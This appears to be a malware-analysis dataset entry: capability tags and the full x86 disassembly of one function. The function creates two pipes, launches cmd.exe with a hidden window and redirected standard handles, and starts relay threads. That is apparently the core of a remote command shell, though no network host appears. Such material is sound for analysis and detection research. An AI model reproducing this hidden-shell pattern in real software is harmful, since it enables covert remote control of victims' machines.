Function at 0x409e20
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4136cc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x16c
push edi
mov dword [ebp - 0x178], ecx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x178]
call fcn.004074b0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x178]
mov dword [ecx], 0x4144e4
mov dword [ebp - 0x28], 0
xor edx, edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x174], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x170]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x12c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp - 0x178]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 0x178]
mov dword [edx + 0x14], 0
mov eax, dword [ebp - 0x178]
mov dword [eax + 0x18], 0
mov ecx, dword [ebp - 0x178]
mov dword [ecx + 0x1c], 0
mov dword [ebp - 0x28], 0xc
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 1
push 0
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x178]
add eax, 0x1c
push eax
mov ecx, dword [ebp - 0x178]
add ecx, 0x10
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x409f64
mov edx, dword [ebp - 0x178]
cmp dword [edx + 0x10], 0
je 0x409f43
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x178]
cmp dword [edx + 0x1c], 0
je 0x409f5f
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a15d
push 0
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x178]
add eax, 0x14
push eax
mov ecx, dword [ebp - 0x178]
add ecx, 0x18
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x409fc5
mov edx, dword [ebp - 0x178]
cmp dword [edx + 0x14], 0
je 0x409fa4
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x178]
cmp dword [edx + 0x18], 0
je 0x409fc0
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a15d
push 0x44
push 0
lea edx, [ebp - 0x174]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x1c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x174]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 0x174], 0x44
mov word [ebp - 0x144], 0
mov dword [ebp - 0x148], 0x101
mov edx, dword [ebp - 0x178]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x13c], eax
mov ecx, dword [ebp - 0x178]
mov edx, dword [ecx + 0x1c]
mov dword [ebp - 0x134], edx
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x138], eax
push 0x104
lea ecx, [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.cmd.exe
lea edx, [ebp - 0x12c]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x174]
push ecx
push 0
push 0
push 0x20
push 1
push 0
push 0
push 0
lea edx, [ebp - 0x12c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40a0d1
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x178]
mov eax, dword [edx + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x178]
mov edx, dword [ecx + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a15d
mov edx, dword [ebp - 0x178]
mov eax, dword [ebp - 0x1c]
mov dword [edx + 0x20], eax
mov ecx, dword [ebp - 0x178]
mov edx, dword [ebp - 0x18]
mov dword [ecx + 0x24], edx
mov byte [ebp - 0x130], 0x80
push 1
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x178]
call fcn.00407523
mov ecx, dword [ebp - 0x178]
call fcn.00407597
push 0
push 0
push 0
mov ecx, dword [ebp - 0x178]
push ecx
push 0x40a2eb
push 0
push 0
call fcn.0040bc97
add esp, 0x1c
mov edx, dword [ebp - 0x178]
mov dword [edx + 0x28], eax
push 0
push 0
push 0
mov eax, dword [ebp - 0x178]
push eax
push 0x40a3e5
push 0
push 0
call fcn.0040bc97
add esp, 0x1c
mov ecx, dword [ebp - 0x178]
mov dword [ecx + 0x2c], eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
mov esp, ebp
pop ebp
ret 4